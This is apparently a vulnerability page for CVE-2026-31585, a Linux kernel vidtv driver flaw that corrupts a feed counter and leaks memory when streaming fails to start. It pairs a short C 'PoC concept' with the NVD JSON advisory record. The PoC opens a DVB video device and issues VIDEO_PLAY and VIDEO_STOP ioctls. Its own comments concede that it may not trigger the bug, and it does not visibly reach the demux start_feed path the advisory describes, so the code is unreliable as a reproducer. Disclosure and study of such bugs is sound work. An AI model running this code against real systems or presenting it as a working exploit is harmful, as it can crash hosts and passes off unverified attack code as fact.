CVE-2026-31585

/* * PoC Concept for CVE-2026-31585 * This snippet demonstrates the interaction with the vidtv device. * Triggering the specific failure path often requires specific * resource constraints or malformed inputs handled by the kernel. */ #include <fcntl.h> #include <unistd.h> #include <sys/ioctl.h> #include <linux/dvb/video.h> int main() { int fd; // Open the video device (vidtv) fd = open("/dev/dvb/adapter0/video0", O_RDWR); if (fd < 0) { perror("open"); return -1; } // Attempt to start streaming // If internal initialization fails (e.g., memory allocation), // the nfeeds counter bug is triggered. if (ioctl(fd, VIDEO_PLAY, NULL) < 0) { perror("ioctl VIDEO_PLAY"); } // Stop streaming // Due to the bug, this may try to free invalid pointers or leak memory. if (ioctl(fd, VIDEO_STOP, NULL) < 0) { perror("ioctl VIDEO_STOP"); } close(fd); return 0; }

{"cve": {"id": "CVE-2026-31585", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-04-24T15:16:33.267", "lastModified": "2026-04-28T20:47:22.620", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: vidtv: fix nfeeds state corruption on start_streaming failure\n\nsyzbot reported a memory leak in vidtv_psi_service_desc_init [1].\n\nWhen vidtv_start_streaming() fails inside vidtv_start_feed(), the\nnfeeds counter is left incremented even though no feed was actually\nstarted. This corrupts the driver state: subsequent start_feed calls\nsee nfeeds > 1 and skip starting the mux, while stop_feed calls\neventually try to stop a non-existent stream.\n\nThis state corruption can also lead to memory leaks, since the mux\nand channel resources may be partially allocated during a failed\nstart_streaming but never cleaned up, as the stop path finds\ndvb->streaming == false and returns early.\n\nFix by decrementing nfeeds back when start_streaming fails, keeping\nthe counter in sync with the actual number of active feeds.\n\n[1]\nBUG: memory leak\nunreferenced object 0xffff888145b50820 (size 32):\n comm \"syz.0.17\", pid 6068, jiffies 4294944486\n backtrace (crc 90a0c7d4):\n vidtv_psi_service_desc_init+0x74/0x1b0 drivers/media/test-drivers/vidtv/vidtv_psi.c:288\n vidtv_channel_s302m_init+0xb1/0x2a0 drivers/media/test-drivers/vidtv/vidtv_channel.c:83\n vidtv_channels_init+0x1b/0x40 drivers/media/test-drivers/vidtv/vidtv_channel.c:524\n vidtv_mux_init+0x516/0xbe0 drivers/media/test-drivers/vidtv/vidtv_mux.c:518\n vidtv_start_streaming drivers/media/test-drivers/vidtv/vidtv_bridge.c:194 [inline]\n vidtv_start_feed+0x33e/0x4d0 drivers/media/test-drivers/vidtv/vidtv_bridge.c:239"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.10", "versionEndExcluding": "6.6.136", "matchCriteriaId": "0F98EDB3-BDF6-4821-9197-1BA4A2E056E2"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.7", "versionEndExcluding": "6.12.83", "matchCriteriaId": "7F0AE5B5-23AC-4DCC-B37A-51CA1DAE7BA8"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.13", "versionEndExcluding": "6.18.24", "matchCriteriaId": "8126B8B8-6D0B-4443-86C1-672AEE893555"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.19", "versionEndExcluding": "6.19.14", "matchCriteriaId": "D6A8A074-BBF4-4803-ABED-519A839435BB"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "7.0", "versionEndExcluding": "7.0.1", "matchCriteriaId": "9B5888AB-7403-4335-89E4-21CC0B48366A"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/17cb7957c979529cc98ff57f7ac331532f1f7c83", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/25f19e476ab15defe698504212899fdb9f7cd61b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/4bf95f797edd63c93330eafb6d6e670982344b9b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/83110c2c8c46c035c2e0fc8ff3e4991183bf9ccd", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/98c22210aeadce67d9d20059f0dbbd01ba7fdbba", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a0e5a598fe9a4612b852406b51153b881592aede", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}